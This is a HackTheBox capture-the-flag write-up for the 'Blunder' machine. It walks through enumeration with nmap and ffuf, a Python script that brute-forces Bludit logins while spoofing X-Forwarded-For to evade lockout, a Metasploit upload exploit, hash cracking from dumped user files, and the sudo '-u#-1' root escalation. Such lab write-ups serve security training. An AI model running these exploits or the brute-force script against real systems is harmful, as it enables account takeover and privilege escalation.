HTB: Blunder

Posted on 19 Oct 2020 in security • 6 min read

Blunder Card

This is a writeup about a retired HacktheBox machine: Blunder. This box was created by egotisticalSW and publish on May 30, 2020. The box is rated as an easy box. It implies enumeration, generating a custom wordlist with cewl, using metasploit, cracking a password and a sudo vulnerability.

User

Recon

Let us start as always by a nmap scan. Only port 80 is open.

# Nmap 7.80 scan initiated Mon Jun  1 05:39:09 2020 as: nmap -oN nmap -sSV -p- 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up (0.60s latency).
Not shown: 65533 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun  1 06:01:11 2020 -- 1 IP address (1 host up) scanned in 1322.38 seconds

Web

The website present three "interesting" facts.

home page

There is nothing really interesting on the site. We notice two external links, one to the box creator twitter account the other one to computer hope page for 1996.

The robots.txt file is a basic one. We launch a fuff scan with a few extensions. And discover an interesting file: todo.txt.

$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.191/FUZZ  -mc 200 -e .txt,.php,.php.bak,.pdf

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.191/FUZZ
 :: Extensions       : .txt .php .php.bak .pdf
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

                        [Status: 200, Size: 8162, Words: 841, Lines: 197]
0                       [Status: 200, Size: 8162, Words: 841, Lines: 197]
about                   [Status: 200, Size: 3280, Words: 225, Lines: 106]
install.php             [Status: 200, Size: 30, Words: 5, Lines: 1]
LICENSE                 [Status: 200, Size: 1083, Words: 155, Lines: 22]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
todo.txt                [Status: 200, Size: 118, Words: 20, Lines: 5]
:: Progress: [23070/23070] :: Job [1/1] :: 34 req/sec :: Duration: [0:11:15] :: Errors: 0 ::

The content of the todo.txt file is the following:

-Update the CMS -Turn off FTP - DONE -Remove old users - DONE -Inform fergus that the new blog needs images - PENDING

We deduce that the website use a CMS and that the user might be fergus.

We quickly discover the /admin page which is the login page for the CMS: bludit.

Searchspoilt provide two authenticated exploit for bludit. A Google search "bludit authentication bypass" direct us to an article about bypass the bludit brute force mitigation mechanism which contain a POC in Python.

We got an user (fergus) but no password. We use cewl to generate a list of word from the website. As mentioned earlier there is two offsite links so we configure cewl to just parse our page with -d 1. Also we want to save the password in a file pass with the -w option.

cewl -d 1 http://10.10.10.191 -w pass

We quickly rewrite the POC in order to load the passwords from our pass file.

#!/usr/bin/env python3
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'

f = open("pass", "r")

for p in f:
    password = p.strip()
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

We run the script and found the password RolandDeschain.

$python3 bludit_auth_bypass.py
[*] Trying: Load
[*] Trying: Plugins
[*] Trying: and
<SNIP>
[*] Trying: best
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain

SUCCESS: Password found!
Use fergus:RolandDeschain to login.

metasploit

One of the two authenticated exploit shown by searchsploit is a metasploit module. So we fire up msf and search for bludit. Only one module pop up. We directly use this module and set the different options. Once run we get a meterpreter on the box as www-data.

msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set rhost 10.10.10.191
rhost => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > run

As bludit is a "flat files" CMS every information is stored in PHP file. We quickly found a users.php file containing the user information including password hashes.

meterpreter > cat ../databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }

Looking at the code we quickly found that the hash algorithm is SHA1 with salt.

Looking more at the code we found another bludit folder with a newer version. This time the users.php file contain a password without salt for the hugo user.

meterpreter > getwd
/var/www/bludit-3.9.2/bl-content
meterpreter > cd ../../
meterpreter > ls
Listing: /var/www
=================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2020-05-19 10:13:22 -0400  bludit-3.10.0a
40775/rwxrwxr-x  4096  dir   2020-04-28 07:18:03 -0400  bludit-3.9.2
40755/rwxr-xr-x  4096  dir   2019-11-28 04:34:02 -0500  html

meterpreter > cd bludit-3.10.0a
meterpreter > ls
Listing: /var/www/bludit-3.10.0a
================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40755/rwxr-xr-x   4096   dir   2019-10-19 04:10:46 -0400  .github
100644/rw-r--r--  582    fil   2019-10-19 04:10:46 -0400  .gitignore
100644/rw-r--r--  395    fil   2019-10-19 04:10:46 -0400  .htaccess
100644/rw-r--r--  1083   fil   2019-10-19 04:10:46 -0400  LICENSE
100644/rw-r--r--  2893   fil   2019-10-19 04:10:46 -0400  README.md
40755/rwxr-xr-x   4096   dir   2020-05-19 05:03:34 -0400  bl-content
40755/rwxr-xr-x   4096   dir   2019-10-19 04:10:46 -0400  bl-kernel
40755/rwxr-xr-x   4096   dir   2019-10-19 04:10:46 -0400  bl-languages
40755/rwxr-xr-x   4096   dir   2019-10-19 04:10:46 -0400  bl-plugins
40755/rwxr-xr-x   4096   dir   2019-10-19 04:10:46 -0400  bl-themes
100644/rw-r--r--  900    fil   2020-05-19 06:27:40 -0400  index.php
100644/rw-r--r--  20306  fil   2019-10-19 04:10:46 -0400  install.php

meterpreter > cd bl-content
meterpreter > ls
Listing: /var/www/bludit-3.10.0a/bl-content
===========================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2020-05-19 05:10:14 -0400  databases
40755/rwxr-xr-x  4096  dir   2020-05-19 05:03:34 -0400  pages
40755/rwxr-xr-x  4096  dir   2020-05-19 05:03:34 -0400  tmp
40755/rwxr-xr-x  4096  dir   2020-05-19 05:03:34 -0400  uploads
40755/rwxr-xr-x  4096  dir   2020-05-19 05:03:34 -0400  workspaces

meterpreter > cat databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

We put the hash in a local file and run john the ripper on it with the rockyou dictionary. The come up empty. So we had the --rules option to add a few rules to our dictionary. The password Password120 is quickly found.

$john haash -w=tools/password_lists/rockyou.txt --rules
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Password120      (hugo)

We can now us su to switch user to hugo and get the user flag but first of all we need an interactive shell.

python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su hugo
su hugo
Password: Password120

id
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd
cd
hugo@blunder:~$ cat user.txt
cat user.txt
2fc521288709e7da0e7119128831b13c

Root

We list our sudo privileges and found that we can run /bin/bash as every user except root. This a "recent" sudo vulnerability and we just need to use the -u#-1 parameter to get a root shell and get the flag.

hugo@blunder:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
Password: Password120

root@blunder:/# cd /root/
cd /root/
root@blunder:/root# cat root.txt
cat root.txt
01efa72b77e36192eda3c5a08a9ba4a8

Wrapping up

For an easy box this was easy. I was wondering when the sudo vulnerability will appear on HTB.